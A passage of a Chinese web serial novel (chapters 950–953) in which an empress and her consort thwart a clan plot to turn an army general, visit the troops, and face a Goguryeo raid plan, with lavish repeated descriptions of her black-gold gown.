金文述浑身颤抖,再也维持不住镇定,噗通一声跪倒在地,连连叩首:“陛下息怒!陛下息怒!外臣定将陛下天威如实禀报摄政王!” 慕容嫣不再看他,?仿佛多看一秒都嫌污了眼。她慵懒地挥了挥手,?对殿中侍卫吩咐道?:“送金使臣回鸿胪寺‘好好休息’没有朕的旨意不得离京亦不得再见任何人!” 等同于将新的使团也软禁了! 侍卫领命,上前“请”走了瘫软如泥的金文述。 慕容嫣这才缓缓坐回软榻,?脸上凌厉之色褪去,?露出一丝倦容。她微微侧身,?看向身旁的林臻。 林臻立刻起身,?走到她面前,?蹲下身,?握住她微凉的手,?低声道?:“嫣儿何必为这等狂徒动气伤神。” 慕容嫣反手与他十指相扣,?将头轻轻靠在他肩上,?声音带着疲惫?:“夫君,朕只是厌烦了这些没完没了的算计与聒噪。” 林臻将她轻轻拥住,?抚着她的后背?:“很快就都会结束了,为夫保证。” 殿内群臣早已屏息凝神,被女帝方才展现出的绝对威严与霸气所深深震撼。 那身墨金色的神凤降世裙,那迤逦铺满玉阶的拖尾,那惊鸿一瞥的金色内衬,以及那不容置疑的宣告,都如同烙印,深深刻入每个人的心中。 慕容嫣在林臻的搀扶下站起身,?那漫长的拖尾再次拖曳在身后。 她不再看殿中众人,?轻声道?:“夫君,陪朕回去朕累了。” “好。”林臻应道,拥着她,向殿后走去。 第950章 策反军队 腊月二十七,年关的喜庆被一种山雨欲来的压抑笼罩。 接连在朝堂、经济、外交上遭受重创的世家大族,如同被逼入绝境的困兽,终于将目光投向了他们曾经影响力根深蒂固,如今却在慕容嫣新政下逐渐被寒门将领和皇室亲信掌握的军队。 这是他们最后,也是最危险的一张牌。 京畿以西八十里,龙武军大营。 龙武军乃拱卫京师的精锐之一,主将雷啸,出身寒微,凭军功累迁至显位,素以治军严苛、忠心耿耿著称。 夜色深沉,军营中除了巡夜士兵整齐的脚步声和刁斗之声,一片肃静。 中军大帐内,烛火摇曳。 雷啸并未安寝,而是身着常服,伏案研究着边境送来的军情塘报。 他年约四旬,面容粗犷,一道刀疤从眉骨划至脸颊,更添几分悍勇。 忽然,亲兵队长悄无声息地入内,低声道:“将军,营外有人求见,自称是将军故人之后,有要事相商。” 随即递上一枚半片古玉。 雷啸接过古玉,眼神微微一凝。 这玉,他认得,是当年他落魄时,曾受过太原王氏一位旁支长老的一饭之恩的信物。 多年来,王家从未以此要求过什么,此时派人深夜持信物来访,其意不言自明。 “带他从小门进来,直接领到偏帐,搜身,确认无夹带。”雷啸声音低沉,面无表情。 片刻后,偏帐内。 一个穿着普通商贾服饰、面容精干的中年男子,在两名虎视眈眈的亲兵监视下,略显局促地站着。 雷啸屏退左右,只留亲兵队长在帐口守卫。 “小人王禄,奉家主之命,特来拜见雷将军。”来人躬身行礼,姿态谦卑。 雷啸大马金刀地坐在主位,目光如炬:“王家主?哪位家主?有何要事,需深夜来访?” 王禄陪笑道:“自然是太原王氏家主王珣公。将军是爽快人,小人便直说了。如今朝局动荡,女主当权,宠信奸佞,打压忠良,长此以往,国将不国。我王氏及诸多世家,深感忧虑,愿共扶社稷,重振朝纲。素闻将军忠勇,乃国家栋梁,特命小人前来,陈说利害。” 说着,他从怀中掏出一份礼单,恭敬呈上, “此乃家主一点心意,望将军笑纳。若将军愿在关键时刻,稳住京畿局势,助我等清君侧,正乾坤,事后,封侯拜将,裂土封疆,不在话下!” 礼单上列着黄金千两,良田万亩,珠宝古玩无数,确实是一笔足以让任何人动心的巨额财富。 雷啸拿起礼单,扫了一眼,脸上看不出喜怒。他沉默片刻,忽然问道:“清君侧?正乾坤?如何清?如何正?” 王禄见其似有意动,心中一喜,压低声音道:“只需将军在合适之时,紧闭营门,约束部下,对京城之事作壁上观即可。待我等联合各方力量,解决了宫中之‘患’,将军便是首功!届时,新君即位,将军便是从龙之臣!” 雷啸的手指在礼单上轻轻敲击着,发出笃笃的声响,在寂静的帐内格外清晰。 他抬起头,目光锐利地盯住王禄:“宫中之‘患’?你指的是陛下?” 王禄被他的目光看得心中一寒,强笑道:“将军明鉴,牝鸡司晨,终非国福。我等乃是为了大乾的万年基业” “够了!”雷啸猛地一拍案几,霍然起身! 他身材高大,这一起身,一股久经沙场的煞气瞬间弥漫开来! 他拿起那份礼单,三两下撕得粉碎,掷于王禄面前! “王珣老儿!还有你们这些世家!真是好大的狗胆!”雷啸声如洪钟,怒目圆睁,“竟敢密谋弑君!还想拖我雷啸下水?!我雷啸虽出身微贱,但也知忠君爱国四字怎么写!陛下励精图治,整顿军政,乃英明之主!尔等魑魅魍魉,也配谈社稷江山?!” 王禄吓得面如土色,连连后退:“将军息怒!将军息怒!此事还可再议” “议个屁!”雷啸厉声喝道,“来人!” 帐外亲兵队长应声而入。 “将此逆贼拿下!严加看管!连同这信物礼单碎片,一并封存!”雷啸命令道,随即又补充,“立刻备马!本将要连夜入宫,面见陛下!” 子时末,凤寰宫寝殿依旧灯火通明。 慕容嫣并未入睡,?身穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?外罩一件轻软的黑金色苏锦长衫,?正倚在暖榻上,?就着明亮的宫灯,?翻阅着一本古籍。 林臻坐在榻边,?手中拿着一把小银剪,?正细心修剪着灯花,?让光线更柔和些。 ?神凤降世裙在深夜的寝殿中,流淌着静谧华贵的光泽。? 极致玄黑的苏锦底料吸吮着温暖的烛光,色泽愈发沉静深邃,织入的金色棉绒与真金线泛着幽幽的暗金波光,与殿内的安宁融为一体。 睡裙之上,那只擎天巨凤在夜间敛去所有锋芒,凤羽线条柔和,更显雍容。? 宽大轻盈的喇叭袖一只软软垂落,拂过榻边的狐裘,另一只则搭在慕容嫣持书的手腕旁。 她左手拇指上的墨玉扳指,在灯下温润。 而那苏锦拖尾,?连同长衫的下摆,?迤逦地铺满了榻前的大片地毯,?墨金色的锦缎在柔软的地毯上,?如同夜色中流淌的暗河,?华美而静谧。 殿外传来急促而轻微的脚步声,暗卫统领的声音响起:“陛下,亲王,龙武军主将雷啸将军有十万火急之事,深夜求见!” 慕容嫣翻书的动作微微一顿,?林臻也放下了银剪,?两人对视一眼,?眼中皆闪过一丝了然。 “宣。”慕容嫣放下书卷,?声音平静。 很快,一身风尘、甲胄未卸的雷啸,在暗卫引领下大步走入寝殿。 他虽经连夜奔波,但步履沉稳,目光坚定。进入这温暖奢华的寝宫,看到榻上只着睡裙、慵懒华贵的女帝,以及一旁气度沉凝的亲王,他并无丝毫局促,径直单膝跪地,抱拳行礼: “末将雷啸,叩见陛下!殿下!深夜惊驾,死罪!” 慕容嫣微微坐直了些身子,?目光落在雷啸身上,?柔和而带着一丝审视?:“雷将军,何事如此紧急?平身说话吧。” “谢陛下!”雷啸起身,依旧躬身,将今夜军营之事,原原本本,清晰扼要地禀报了一遍,包括王禄如何持信物来访,如何利诱,如何暗示弑君阴谋,以及自己如何应对。 最后,他双手呈上那半片古玉和已经被他仔细收集起来的礼单碎片:“此乃逆贼信物及罪证,末将不敢擅专,特来呈报陛下!龙武军上下,唯陛下马首是瞻,誓死效忠!若有异心,天诛地灭!” 他的声音洪亮,掷地有声,在寂静的寝殿内回荡。 慕容嫣静静地听着,?脸上没有任何意外的表情,?甚至嘴角还勾起了一抹极淡的、似是欣慰的弧度。她没有立刻去接那些证据,?而是对林臻,?轻轻点了点头。 林臻会意,起身走上前,从雷啸手中接过古玉和碎片,仔细查看后,对慕容嫣微微颔首,确认无误。 慕容嫣这才将目光重新投向雷啸,?声音带着一丝慵懒的赞许?:“雷将军忠勇可嘉朕心甚慰。” 她顿了顿,?语气转为平淡却带着无形的重量, “此事朕知道了。将军且先回营稳住局势,今夜之事暂不外传。龙武军朕信得过。” 没有过多的褒奖,没有激动的情绪,但这份平静的信任,却比任何赏赐更让雷啸感到沉重与荣耀。 他深知,这是将他与龙武军的前途,彻底绑在了女帝的战车之上。 “末将遵旨!末将告退!”雷啸再次躬身行礼,退后几步,转身大步离去,背影挺拔如松。 待雷啸离去,殿内恢复宁静。慕容嫣轻轻吁了口气,?身体向后靠入引枕,?揉了揉眉心。 林臻走回榻边,?将证据放在一旁小几上,?伸手为她轻轻按摩着太阳穴?:“世家果然还是不死心,竟将手伸向了军队。” 慕容嫣闭着眼,?享受着他的按摩,?轻声哼道?:“垂死挣扎罢了,他们越是这样,暴露得就越快。” 她的嘴角,?那抹弧度加深,“不过雷啸此人倒是可用之才。” “嫣儿打算如何处置?”林臻问。 慕容嫣睁开眼,?凤眸中闪过一丝冷光?:“不急,让雷啸先回去稳住王家,朕倒要看看王家接下来还会有什么精彩表演。” 她的语气带着猫捉老鼠般的戏谑。 说着,她似乎想到了什么,?翻身坐起,?对林臻伸出手?:“夫君扶朕起来” 林臻立刻伸手将她扶起。 慕容嫣赤足踩在柔软的地毯上,?走到窗前,?望着窗外沉沉的夜色。那迤逦的五丈拖尾在她身后无声地滑动。 忽然,她猛地回转身?! 动作带着一种洞悉全局后的决断! 那轻盈华贵的墨金色裙摆与长衫下摆因这迅猛的回转被猛地带起,如同暗夜中绽放的墨莲,?唰啦一声扫过厚重的地毯?! 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在烛光下流光溢彩的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光流淌,尊贵、耀眼,且带着一种将一切阴谋尽收眼底、从容布局的绝对自信! 裙摆落下,华光内敛。 慕容嫣看向林臻,?眼中闪烁着睿智而冰冷的光芒?:“夫君传朕密令让‘夜枭’盯紧太原王氏所有核心子弟的动向,尤其是与各地军镇有联系的,一有异动,即刻来报!” “好。”林臻点头应下。 慕容嫣重新走回榻边,?脸上露出一丝倦意,?打了个小小的哈欠?:“好了,烦心事明日再想夫君陪朕安歇吧。” 林臻将她拥入怀中,走向龙榻。 第951章 整顿军队 腊月二十八,岁末的寒风卷着细碎的雪沫,刮过京畿以西龙武军大营的辕门。 连日来的紧张气氛,因主将雷啸深夜密报后营中悄无声息的整肃,更添了几分肃杀。 将士们虽不明就里,但都能感受到一种山雨欲来的压抑。 然而,这天清晨,一道石破天惊的旨意传遍大营:皇帝陛下将亲临犒军! 消息传来,全军震动! 皇帝亲临军营,在本朝并非没有先例,但当今陛下是女子,且登基以来风波不断,此次突然前来,意义非同小可。 巳时正,风雪稍歇,阴沉的天空透下些许微光。 龙武军大营校场之上,旌旗招展,甲胄鲜明,数万将士按营列队,肃然而立,鸦雀无声。 寒风刮过校场,卷起地上的雪粒,打在冰冷的甲片上,发出细碎的声响。 空气中弥漫着钢铁的寒意和一种难以言喻的期待与紧张。 忽然,辕门处号角长鸣,鼓声震天! 仪仗先行,金瓜斧钺,在冬日黯淡的天光下闪烁着冷冽的光芒。 随后,一辆玄色描金的御辇在精锐禁卫的簇拥下,缓缓驶入校场,停在点将台前。 所有人的目光,瞬间聚焦于御辇之上。 帘幕掀开,先是一身玄色亲王常服、腰佩长剑的林臻迈步而下,他面容冷峻,目光如电扫过全场,无形的威压让本就肃静的校场更添几分凝重。 他并未登上点将台,而是肃立在辇侧,微微躬身。 紧接着,一个身影,在两名贴身宫女的搀扶下,缓缓步下御辇。 当那个身影完全展露在数万将士眼前时,整个校场,仿佛连风声都瞬间凝固了! 所有人都瞪大了眼睛,几乎不敢相信自己所看到的! 是慕容嫣! 她竟然真的来了! 而且她竟然就穿着那身! 那身在宫廷、在朝堂、在市井早已成为传奇的——黑金苏锦棉质百鸟朝凤睡裙,神凤降世裙?! 只是今日,在这朔风凛冽、天寒地冻的军营校场,她的穿法更为隆重却也更为惊世骇俗。? ?极致玄黑的苏锦底料在冬日阴沉的天空下,呈现出一种比夜色更深沉的色泽,吸吮着微弱的天光,仿佛能将周围的寒意都吸纳进去。 织入的金色棉绒与真金线,不再流淌暖光,而是在这肃杀的环境中,泛着冷冽而威严的暗金辉光,与校场上的刀枪剑戟奇异地呼应。 ?睡裙之上,那只布满袍身与拖尾的擎天巨凤,在军营的背景衬托下,少了几分宫廷的雍容,多了几分沙场的凌厉与霸气,凤羽层叠,仿佛随时会振翅高飞,搏击长空! 凤眸上的黑钻,折射着寒光,睥睨着下方的千军万马。 ?宽大轻盈的喇叭袖在大氅下若隐若现,袖口金线流苏在寒风中微微摆动。 她左手拇指上的墨玉扳指,在灰蒙蒙的天地间,显得格外醒目沉静。而最冲击所有将士视觉的,是那长达五丈的苏锦拖尾?! 它并未由任何宫人抬起或精心铺设,?就那样迤逦地、甚至可以说是极其凌乱地拖行在冰冷、泥泞、布满残雪和脚印的校场土地之上?! 华贵到极致的墨金色锦缎,与这粗犷、艰苦、甚至有些脏乱的军营环境形成了极致到令人心灵震撼的对比! ?棉质的柔软本应与这里的坚硬格格不入,但此刻,这种格格不入却成了一种无声的宣告。 朕即天下,朕所在之处,便是宫廷! 这身睡裙的舒适与随意,在此刻更彰显出一种异乎寻常的、视军伍严整如无物的强大自信与掌控力! 慕容嫣面色平静,?并未因数万道震惊、疑惑、乃至敬畏的目光而有丝毫动容。 她在林臻的虚扶下,缓步登上点将台。 那凌乱拖行的五丈墨金色拖尾,在她身后划出一道惊心动魄的痕迹,?所过之处,?锦缎沾染了泥雪,?她却浑不在意。 雷啸早已率领一众将领,在点将台下跪迎:“末将雷啸,率龙武军全体将士,恭迎陛下圣驾!陛下万岁,万岁,万万岁!” 声音洪亮,带着激动与忠诚。 数万将士随之山呼万岁,声浪震天,冲破云霄! 慕容嫣微微抬手,?声音清越,?清晰地传遍校场?:“众将士平身。” “谢陛下!” 将士们起身,目光依旧牢牢锁定在点将台上那抹绝无仅有的墨金色身影上。 慕容嫣没有进行冗长的训话,?她的目光缓缓扫过台下那一张张被风霜刻满痕迹、此刻却充满激动与好奇的脸庞。她开口了,?声音不高,?却带着一种奇特的穿透力,?直抵人心?: “将士们今日天寒地冻你们辛苦了。” 简单的一句话,却让许多老兵眼眶微热。 皇帝陛下,竟然对他们说“辛苦”? “朕今日来,不是来检阅,也不是来训话。”慕容嫣继续道,?语气平和,?甚至带着一丝不易察觉的暖意,“朕是来谢谢你们,谢谢你们在这岁末寒冬依旧坚守在此,护我大乾安宁,也让朕能在宫中安睡。” 她的话语,?如同暖流,?悄然浸润着将士们因严寒而有些僵硬的心。 “所以朕给你们带了些宫里做的点心热汤。”她说着,?对台下示意。 早已准备妥当的宫人和内侍,立刻抬上一筐筐还冒着热气的精致糕饼,一桶桶香气四溢的羊肉汤,还有许多用厚棉被包裹着保温的饭食。 这些食物,或许不如大块吃肉、大碗喝酒那般豪迈,但其精致与温暖,却带着一种来自宫廷、来自皇帝亲自关怀的殊荣。 “东西不多,也不够珍贵。”慕容嫣看着食物分发下去,?轻声道,“但是朕的一点心意。” 将士们看着分发到手中的、平日里根本见不到的精致吃食,闻着那诱人的香气,再看向点将台上那身着华美睡裙、却亲自来到这苦寒之地慰问他们的女帝,心中的激动与忠诚,瞬间达到了顶点! 不知是谁先喊了一声:“陛下圣明!万岁!” 紧接着,整个校场爆发出更加山崩地裂般的欢呼:“陛下万岁!万岁!万万岁!” 许多将士甚至激动得热泪盈眶。 慕容嫣看着台下激动的场面,?脸上露出一抹极淡的、真实的笑容。 她甚至向前走了几步,?走到点将台边缘,?更近距离地看着下面的将士。 那凌乱的墨金色拖尾,?随之在台面上拖动。 她随手从身旁宫女捧着的食盒里,?拿起一块小巧的桂花糕,?对离得最近的一个年轻士兵示意?:“过来” 那士兵受宠若惊,几乎同手同脚地走上前。 慕容嫣将糕点递给他,?轻声问?:“多大了?哪里人?” 士兵激动得语无伦次:“回陛下!十八!陇右人!” “陇右,好地方。”慕容嫣点点头,“多吃点,长壮实些,好好为国效力。” “是!是!谢陛下!”士兵捧着那块糕点,如同捧着绝世珍宝,涕泪交加地退下。 这一幕,更是将现场的气氛推向了高潮! 皇帝陛下不仅亲自来,还亲自发食物,还关心士兵的籍贯年龄! 这是何等的恩宠! 慕容嫣又在点将台上走了几步,?与不同方向的将士进行了几句简单的对话,?语气始终平和。 她那身与军营格格不入的神凤降世裙,?此刻非但没有成为隔阂,?反而成为一种独特的象征,?象征着至高无上的皇权,?以一种前所未有的亲民姿态,?降临到了最基层的将士中间。 犒劳持续了近一个时辰。 当慕容嫣准备起驾回宫时,?校场上再次响起震天的万岁声。 她转身,?面向将士们,?微微颔首。 然后,?在林臻的陪同下,?缓步走下点将台。 就在她即将登上御辇的刹那,?似乎想到了什么,?她忽然回转身,?面向校场上依依不舍的将士们,?用力地挥了挥手! 这一回身挥手的动作,洒脱而有力! 那迤逦在地、沾染了泥雪的凌乱墨金色拖尾,因这迅猛的回转被猛地带起! 华贵的锦缎如同凤凰展翅告别,?唰啦一声,?在空中划出一道绚烂的弧线?! 随着裙摆的骤然飘起——赫然露出了里面那金线密织、在阴沉天光下依然璀璨夺目的“满地织金”内衬!?? 百凤朝阳的纹路在瞬间闪耀,金光流淌,尊贵、辉煌,且带着一种与将士们刚刚建立的、温暖而坚实的联系! 这惊鸿一瞥的金光,仿佛一道承诺,印入了数万将士的心中! 裙摆落下,华光内敛。 慕容嫣弯腰进入御辇,?帘幕垂下。仪仗缓缓启动,驶出辕门。 校场上,数万将士久久跪地不起,万岁之声不绝于耳。 雷啸看着御辇远去的方向,紧紧握住了拳頭,眼中充满了誓死效忠的光芒。 他知道,经此一事,龙武军的军心,已彻底归属那位身着神凤降世裙的女帝。 任何世家,再也休想动摇分毫! 御辇内,慕容嫣慵懒地靠在软垫上,?脸上带着一丝疲惫,?却也有着一丝满足。 林臻为她递上一杯温热的参茶,?低声道?:“嫣儿今日辛苦了。龙武军之心可用了。” 慕容嫣接过参茶,?小口啜饮着,?轻轻“嗯”了一声?:“但愿他们不会让朕失望。” 她闭上眼,?轻声说,“夫君,回宫吧。朕乏了。” 车辙碾过积雪,发出吱嘎声响。 军营的欢呼犹在耳畔,而慕容嫣已在这身墨金色的神凤降世裙的包裹下,踏上了归途。 第952章 高句丽进军 圣徽元年,腊月二十九。 当大乾帝都长安正沉浸在新年将至的喜庆与慕容嫣亲临军营带来的振奋之中时,远在鸭绿江以东的高句丽王都平壤,却笼罩在一片山雨欲来的压抑与争吵之中。 龙武军雷啸的忠诚表态,如同最后一根稻草,彻底压垮了世家试图从内部瓦解大乾的最后希望。 消息通过隐秘渠道传回高句丽,摄政王高云和他所代表的激进派,感到了前所未有的焦躁与恐慌。 慕容嫣的统治,非但没有因内外夹击而动摇,反而愈发稳固。 若再不动手,待其彻底消化内部,整合国力,高句丽将永无翻身之日! 平壤王宫,崇武殿。 虽名为“崇武”,殿内装饰却极尽奢华,带着半岛特有的精细与繁复。 然而此刻,殿内弥漫的并非祥和,而是剑拔弩张的紧张气氛。 炭火盆烧得噼啪作响,却驱不散空气中的寒意。 摄政王高云,年约五旬,身材矮壮,面容阴鸷,一双鹰眼扫视着殿内分列两班的文武大臣。 他身居王座之侧的特设宝座,权倾朝野,幼主只是他手中的傀儡。 今日大朝会,议题只有一个:对乾政策——是战,是和? “诸位!”高云声音沙哑,却带着不容置疑的威严, “大乾女主慕容嫣,倒行逆施,残害忠良,国力空虚,民心离散!更扣押我使臣,辱我国体!此乃天赐良机!若我高句丽此时兴正义之师,助大乾忠臣拨乱反正,必能一举成功,拓土开疆,成就霸业!” 他挥舞着拳头,语气激昂,试图点燃主战派的热情。 话音刚落,一名身着戎装、满脸虬髯的武将立刻出列附和:“摄政王所言极是!慕容嫣一介女流,只知穿着那身不伦不类的黑金睡裙?在宫中蛊惑人心,岂知军国大事?我高句丽勇士骁勇善战,如今正值寒冬,鸭绿江冰封,正是用兵良机!末将愿亲率铁骑,踏破辽东,直捣黄龙!” 此人是高句丽南部傉萨(大将)金武成,素以勇猛好战著称。 “金将军勇武可嘉!”高云赞许地点头。 “摄政王!金将军!万万不可!”一个苍老却急切的声音响起。 出列的是高句丽老臣,门下侍中文正淳。他须发皆白,面容愁苦: “慕容嫣虽为女主,但其手段狠辣,心思缜密,绝非易与之辈!前有卢氏覆灭,后有王氏折戟,就连朴永忠正使亦深陷囹圄!可见其掌控力之强!且大乾地大物博,根基深厚,岂是轻易可撼动?一旦开战,若不能速胜,陷入僵持,我高句丽国小民疲,如何支撑?届时恐怕国将不国啊!” 文正淳声音颤抖,充满了忧虑。 “文侍中此言差矣!”另一名主战派文臣,礼部侍郎崔明浩反驳道:“慕容嫣之所以能暂时稳住局势,不过是凭借诡计与高压!其新政得罪天下士族,民心不稳!我军若以雷霆之势出击,大乾内部反对势力必群起响应!此乃里应外合之局!岂能坐失良机?至于那慕容嫣,终日身着妖异服饰,乃是亡国之兆!有何可惧?” 他刻意贬低慕容嫣,尤其是提及那身睡裙,以壮己方声势。 文正淳连连摇头:“崔侍郎!你只知其一,不知其二!慕容嫣那身衣裳老夫虽未亲见,但据闻,名为?神凤降世裙?,乃是以极品苏锦织就,?通体唯有玄黑与暗金两色,?轻薄却不失挺括,?上绣百鸟朝凤巨图,?遍布袍身乃至那长达数丈的拖尾?!她视若珍宝,?除沐浴外时刻不离身!此等近乎偏执之举,岂是寻常昏聩之主所能为?此女心志之坚,恐超乎我等想象!且其与那林臻君臣一心,如臂使指,岂是轻易可离间?” 老臣消息灵通,竟连睡裙的细节都知晓一二,言语间充满了忌惮。 他这番对?神凤降世裙?的描述,让殿内一些未闻其详的官员都倒吸一口冷气。 一件衣裳,竟被赋予如此多的象征意义,穿着者又如此特立独行,这本身就显得诡异而令人不安。 “文侍中何必长他人志气,灭自己威风!”金武成不耐地吼道,“一件衣裳,就被你吓破胆了?我看那不过是慕容嫣故作玄虚,装神弄鬼罢了!我高句丽勇士的刀剑,可不管她穿的是什么!” “金将军!兵者,国之大事,死生之地,岂能如此儿戏!”文正淳痛心疾首,“一旦开战,生灵涂炭!若胜,尚可;若败,则祖宗基业毁于一旦!摄政王,三思啊!” 主和派官员纷纷附和:“文侍中所言有理!请摄政王三思!” 主战派则群情激昂:“机不可失!请摄政王下令出兵!” 双方争论不休,声浪几乎要掀翻殿顶。高云面色阴沉,手指不断敲击着座椅扶手。他何尝不知风险?文正淳的担忧正是他心底的隐忧。 但让他就此罢手,向慕容嫣服软,他绝不甘心! 尤其是想到朴永忠和王允之还在对方手中,犹如悬在他头顶的利剑,更让他寝食难安。 必须做点什么,打破僵局,挽回颜面! 就在这时,一名内侍匆匆入殿,呈上一份密报。 高云拆开一看,眼中精光一闪! 密报来自潜伏在辽东的细作,称近日辽东守军似有调动,但防御重心似乎有所偏移,铁山城一带守备看似严密,实则外紧内松,或有可乘之机! 这消息,如同强心剂,让高云下定了决心。 他需要一场胜利,哪怕是一场有限的胜利,来巩固自己的权威,压制国内的反战声音,并向慕容嫣证明,高句丽不是可以随意拿捏的! “够了!”高云猛地一拍扶手,厉声喝止了争吵。 殿内瞬间安静下来,所有目光都聚焦在他身上。 高云站起身,目光扫过众人,最终定格在武将队列:“慕容嫣辱我太甚,此仇不报,枉为人君!然,文侍中忧国之言,亦不无道理。” 他话锋一转,语气森然: “故,本王决定,不大举兴兵,但需给慕容嫣一个教训!命金武成将军,即日起,秘密集结两万精锐,趁辽东寒冬,江水冰封,突袭对岸铁山城!此战,不求占领,只求破城,焚其粮草,掳其人口,扬我国威!若事成,则慕容嫣必震恐,我等可趁机索回使臣,重定盟约!若事不成亦可试探辽东虚实,再作打算!” 这是一个折中且险恶的计划!以小规模军事冒险,进行政治讹诈! 文正淳等主和派脸色惨白,还想再劝:“摄政王!” “不必再言!”高云粗暴地打断,“本王意已决!金武成!” “末将在!”金武成兴奋地出列。 “命你为征东先锋,即刻准备,三日后出发!此战,许胜不许败!” “末将遵命!定不负摄政王重托!”金武成大声领命,眼中闪烁着好战的光芒。 主战派官员面露喜色,主和派则忧心忡忡,却不敢再言。 高句丽这台战争机器,终于在高云的独断下,开始缓缓启动,指向了鸭绿江对岸。 几乎在高句丽崇武殿争论的同时,远在数千里之外的大乾凤寰宫,却是一派静谧温馨。 已是傍晚,宫灯初上,地龙烧得暖融。 慕容嫣刚刚批阅完一部分紧急奏章,?正慵懒地偎在暖榻上,?身穿着那身黑金苏锦棉质百鸟朝凤睡裙——神凤降世裙,?外罩一件轻软的黑金色丝绸长衫,?长衫并未系紧,?松松地披着,?更添几分居家的随意。 林臻坐在榻边,?手中拿着一份刚从北疆送来的军报,?正低声为她念着。 ?神凤降世裙在宫灯柔和的光线下,流淌着静谧华贵的光泽。? 极致玄黑的苏锦底料吸吮着暖光,色泽沉静深邃,织入的金色棉绒与真金线泛着温和的暗金波光。 ?睡裙之上,那只擎天巨凤在室内敛去所有锋芒,凤羽层叠,线条流畅华美。 ?宽大轻盈的喇叭袖一只软软垂落榻边,另一只则搭在林臻拿着军报的手腕上。 她左手拇指上的墨玉扳指,在灯下莹润。 而那长达五丈的苏锦拖尾,?连同长衫的下摆,?迤逦地、甚至有些凌乱地铺满了榻前昂贵的地毯,?墨金色的锦缎与地毯的繁复图案交织,?透着极致的慵懒与奢华。? 棉质的柔软与睡裙的舒适,让她完全沉浸在放松之中。 “辽东将军李信奏报,”林臻的声音平稳,“高句丽边境近日异动频繁,似有集结兵马迹象,恐有犯边之图。李信已加强戒备,请陛下示下。” 慕容嫣闻言,?并未睁眼,?只是嘴角勾起一抹极淡的、冰冷的弧度,?仿佛早已料到。“高云终于还是忍不住了。” 她轻声说,?语气带着一丝嘲讽,“跳梁小丑终究是跳梁小丑。” 林臻放下军报,看向她:“嫣儿,是否要增兵辽东?” 慕容嫣缓缓睁开眼,?凤眸中闪过一丝锐光,?但很快又恢复慵懒。 “不急”她伸出手,?用戴着墨玉扳指的指尖,?轻轻点着榻边小几上的一份关于高句丽朝堂争论的密报,“让他们先动起来,朕才好关门打狗。” 她坐起身,?长衫滑落些许,?露出睡裙精致的领口。“传旨给李信让他依计行事铁山城可以‘乱’一点但要乱得像真的一样。” 她的语气带着一种猫捉老鼠般的戏谑。 “另外,”她的眼中闪过一丝冷厉,“让北疆林动秘密抽调五千‘黑甲骑’昼伏夜出移至辽东山海关附近待命没有朕的手谕一兵一卒不得妄动。” 这是一招暗棋! 一旦高句丽入彀,这五千精锐骑兵将成为切断其退路、甚至反攻的致命一击! 林臻眼中闪过赞赏,立刻应道:“为夫这就去安排。” 慕容嫣点点头,?似乎有些倦了,?重新靠回引枕。 她刚闭上眼,?忽然又想起什么,?对林臻说?:“夫君,辽东苦寒,给将士们的冬衣和赏赐再加三成,从朕的内帑出。” 林臻心中一动,柔声道:“嫣儿仁厚,为夫代将士们谢过陛下。” 慕容嫣轻轻“嗯”了一声,?不再说话。 殿内恢复宁静,只有烛火偶尔噼啪作响。 第953章 贺新年,恐吓的吓 圣徽二年,元月初一。 持续数日的风雪终于在年关时分停歇,长安城银装素裹,沐浴在新年的第一缕朝阳下,家家户户张灯结彩,爆竹声声,驱散旧岁的阴霾,期盼着新年的祥瑞。 皇城之内,更是装饰得富丽堂皇,旌旗招展,处处洋溢着喜庆气氛。 然而,在这普天同庆的表象之下,暗流依旧涌动。 慕容嫣以铁腕手段平定内外风波,稳固了权位,但世家大族百年积累的底蕴与怨恨,绝非一朝一夕可以消除。 他们如同受伤的毒蛇,暂时蛰伏,舔舐伤口,却从未放弃反噬的念头。 这场元日大宴,对于他们而言,既是不得不参加的场面,也是一次近距离观察、评估这位年轻女帝虚实的机会。 酉时正,太极殿内灯火通明,如同白昼。 巨大的宫灯将大殿每一个角落都照得璀璨生辉,御座之下,文武百官、宗室勋贵按品阶端坐,案几上摆满了珍馐美馔,琼浆玉液。 丝竹管弦之声悠扬悦耳,舞姬们身着彩衣,翩翩起舞,一派盛世华章景象。 当时辰已到,内侍监高唱“陛下驾到”时,原本还有些细微交谈声的大殿瞬间安静下来,落针可闻。 所有人的目光,都齐刷刷地投向御座后方那扇巨大的屏风。 先是一队手持宫扇、提灯的宫女鱼贯而出,分列两旁。 随后,身着玄色绣金亲王常服、气度沉凝的林臻率先步出,他并未走向臣僚班列,而是肃立在御阶之侧,目光平静地扫过全场,无形的威压让一些心怀鬼胎者不由自主地低下了头。 然后,那个众人期待又敬畏的身影,终于出现在屏风之前。 当慕容嫣完全展露在众人眼前时,即便是在场见多识广的王公大臣,也不由得在心中倒吸一口凉气,瞳孔微缩! 她竟然依旧穿着那身早已成为传奇、也饱受争议的——黑金苏锦棉质百鸟朝凤睡裙,神凤降世裙?! 只是在这元日国宴的隆重场合,?睡裙之外,?罩上了一件极其华美庄重的黑金色苏锦大礼服式霞帔。? 霞帔以玄黑为底,用最纯粹的金线,以极致繁复的工艺,绣满了日月星辰、山河社稷的图案,边缘缀以细密的珍珠流苏,长度甚至超过了睡裙本身的拖尾,与之一同迤逦于地。 然而,?这极致华贵的霞帔,依旧无法完全掩盖内里神凤降世裙那独特的韵味与光芒,?反而与之相得益彰,?共同构成了一种超越传统帝王服饰的、独属于慕容嫣的,?兼具慵懒与威严,?华美与霸气的惊人形象。 ?神凤降世裙的本体,在这大殿最顶级的灯火照耀下,呈现出一种惊心动魄的华美。 ?极致玄黑的苏锦底料吸吮着无数烛火的光芒,色泽深邃如宇宙星空,织入的金色棉绒与真金线则反射出流淌的、灼热的暗金波光,仿佛裙裾本身在燃烧。? 睡裙之上,那只布满袍身与拖尾的擎天巨凤,在如此盛大的场合,更显磅礴大气,凤羽每一片鳞甲都清晰可见,仿佛随时会脱离锦缎,翱翔于九天之上,凤眸上的黑钻,冰冷地俯瞰着脚下的臣民,尊贵威严到了极致。 ?宽大轻盈的喇叭袖在霞帔的广袖下若隐若现,袖口内里的金线刺绣偶尔闪现。 她左手拇指上的墨玉扳指,在灯火下泛着幽深的光泽。 而最令人瞠目结舌,也最挑战传统礼法观念的,是那长达五丈的苏锦拖尾,?连同霞帔更长的后摆,?并未经过任何宫人的精心铺设或抬起,?就那样迤逦地、甚至可以说是极其凌乱地拖行在从御座后方一直延伸到殿门的、光洁如镜的金砖地面上?! 